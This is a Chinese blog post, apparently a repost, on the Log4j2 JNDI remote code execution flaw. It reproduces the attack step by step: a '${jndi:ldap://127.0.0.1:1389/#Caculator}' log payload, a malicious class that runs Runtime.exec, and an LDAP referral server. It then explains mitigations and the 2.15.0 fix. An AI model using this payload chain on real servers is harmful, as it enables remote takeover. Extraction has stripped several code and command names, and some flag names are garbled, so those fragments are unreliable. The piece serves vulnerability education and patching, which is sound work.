Log4j2远程代码执行漏洞问题复现及处理方式

Log4j2远程代码执行漏洞问题复现及处理方式

2023年6月25日发(作者:)

Log4j2远程代码执⾏漏洞问题复现及处理⽅式⽬录⽂末附加已编译好的log4j2.15.0-rc2的jar包,以及log4j2.14.1的jar包漏洞说明Apache Log4j2是⼀个基于Java的⽇志记录⼯具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。漏洞适⽤版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应⽤是否引⼊ log4j-api , log4j-core 两个jar。若存在应⽤使⽤,极⼤可能会受到影响。此次漏洞的出现,正是由⽤于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过⼀些协议去读取相应环境中的配置。但在实现的过程中,并未对输⼊进⾏严格的判断,从⽽造成漏洞的发⽣。“微步在线研究响应中⼼”做了漏洞复现:LDAP攻击⼤致原理:LDAP攻击向量攻击过程如下:1.攻击者为易受攻击的JNDI查找⽅法提供了⼀个绝对的LDAP URL2.服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引⽤3.服务器解码JNDI引⽤4.服务器从攻击者控制的服务器获取Factory类5.服务器实例化Factory类6.有效载荷得到执⾏应急处理:(1)修改 jvm 参数 -MsgNoLookups=true(2)修改配置 MsgNoLookups=True(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true复现步骤:1、通过ide⼯具创建⼀个maven 项⽬,并在pom⾥⾯,引⽤2.X版本的log4j-api,log4j-core,log4j-1.2-api 4j log4j-api 2.14.1 4j log4j-core 2.14.1 4j log4j-1.2-api 2.14.1 2、调⽤函数import ager;import ;public class Log4j2Test { private static final Logger logger = ger(); public static void main(String[] args) { perty("RLCodebase", "true"); ("${jndi:ldap://127.0.0.1:1389/#Caculator}"); }} 3、编译⽣成服务端调⽤代码在另⼀个⽬录,构建⽂件,⽂件内容如下:public class Caculator { static { try { n("invoke method"); Runtime rt = time(); String[] commands = {""}; Process pc = (commands); r(); } catch (Exception e) { // do nothing } }}通过javac命令,编译⽣成avac 4、启动tomcat容器,并将保存到webapps/ROOT/⽬录下启动完成后,访问127.0.0.1:8090/Caculator,若能跳转到下载页⾯,则证明能通过tomcat服务器访问到对应的类5、搭建LDAP服务器git clone git@:mbechler/拉取到源码后,本地编译⽣成对应的然后在对应jar⽬录执⾏以下指令,启动LDAP服务器# #后的类名代表ldap服务定位查找的类名,会去tomcat服务器查询Caculatorjava -cp fServer "127.0.0.1:8090/#Caculator"

6、调⽤测试类可以看到LDAP获取到了tomcat服务器上的,并序列化后,传输回了客户端 客户端反序列化后,构建了⼀个Caculator对象,输出了打印的信息,并调起了计算器修复步骤在复现了问题过后,该如何修复相应漏洞呢?⽬前官⽅已经针对log4j2-2.15.0-rc2版本发布了对应的修复源码,需要⽤户⾃⾏编译对应的jar包。 官⽅提供的补丁源码:Log4j 2.X版本如何修复漏洞上述的修复内容,需要将log4j2版本升级到2.15.0-rc2。但是,很多的⽤户担⼼升级后,存在兼容性问题。这⾥官⽅明确指出2.13.X到2.15.0是平滑的过度,理论上不存在兼容性的问题。并且,针对2.15.0前的版本也提供了修复⽅案:只需要删除log4j-core包中的⽂件即可验证验证版本log4j:2.14.1这⾥,我直接通过压缩软件打开对应的jar包并删除后,通过上述漏洞复现案例,并不会触发Jndi的漏洞问题。因此,官⽅提供的删除依赖的解决⽅案是有效的。2.15.0-rc2源码编译⽅法注意事项:1、确保本地当前Java的环境为Java8,如果本地有个Java环境,请先修改Java环境为Java8,再重启IDEA。2、确保本地有JDK9的环境3、建议跳过test步骤,否则安装的时间太长了⾸先,下载上述补丁源码然后修改源码⽬录的,配置好对应的jdk运⾏环境⽬录 然后执⾏maven命令进⾏编译安装mvn clean install -t ./ -=true -f 安装成功后,就可以在本地仓库找到对应的jar包。然后通过上述漏洞还原的案例,进⾏测试,可以发现log4j2直接将注⼊的jndi信息作为message输出,不会再去请求LDAP服务,获取代码。源码分析

2.14.1log4j在输出⽇志时,会去解析转换对应的message输出格式,在解析时会触发lookup⽅法去查找${}中需要替换的内容,⽽在解析处理${}内容的过程中,就可以通过jndi注⼊的⽅式,去调⽤ldap服务,加载远程服务端的代码到本地进⾏执⾏完整调⽤栈如下图所⽰:⼤致流程如下:log4j通过messagePatternConverter转化msg的表达式,在解析过程中,会判断是否关闭lookups(通过msg表达式中匹配nolookups字符串),未关闭,则判断${开头的内容,进⾏查找替换 这⾥会执⾏到StrSubstitutor的substitute⽅法substitute⽅法中,会⾛到⼀步处理${}内容的⽅法resolveVariable在resolveVariable⽅法中会去调⽤lookup⽅法查看替换变量名为variableName的属性 接着就会跳转到JndiLookup的lookup实现函数中(这也是为什么2.14.1删除了JndiLookup类后,就不会出现漏洞情况的发⽣了) 接下来,就会去调⽤jdk提供的Naming Service(这⾥也就是LDAP⽬录服务) 通过调⽤⽅法,就会请求LDAP服务器,检索对应的类名最后通过LDAP服务器返回来的源码,进⾏反序列化,执⾏相应的操作。Log4j2.15.0做了哪些处理?

个⼈观点,可能存在⼀定的错误,望各位指出主要的区别在于MessagePatternConverter的不同实现2.15.0版本针对不同的类型构建了不同的Converter,默认是会调⽤SimpleMessagePatternConverter

在创建消息解析转化的Converter时,会根据msg表达式的内容⽣成对应的options,⽽options默认情况下是空的,因此会构建simpleMessagePatternConverter同时,还通过options匹配是否存在lookups字段,若存在,则开启lookup查找功能,也就会创建LookupMessagePatternConverter(该Converter的format实现会触发jndi的lookup调⽤)同时,官⽅也对开启lookup后,可调⽤的jndi协议做了相应限制,例如:限制LDAP等 具体开启lookup功能⽅法见官⽹:编译完成的jar包以下jar包编译⽅式已在上述编译过程中给出2.14.1只需替换log4j-core包2.15.0提供了log4j-core,log4j-api,log4j-slf4j-impl

发布者:admin,转转请注明出处:http://www.yc00.com/news/1687692179a32137.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信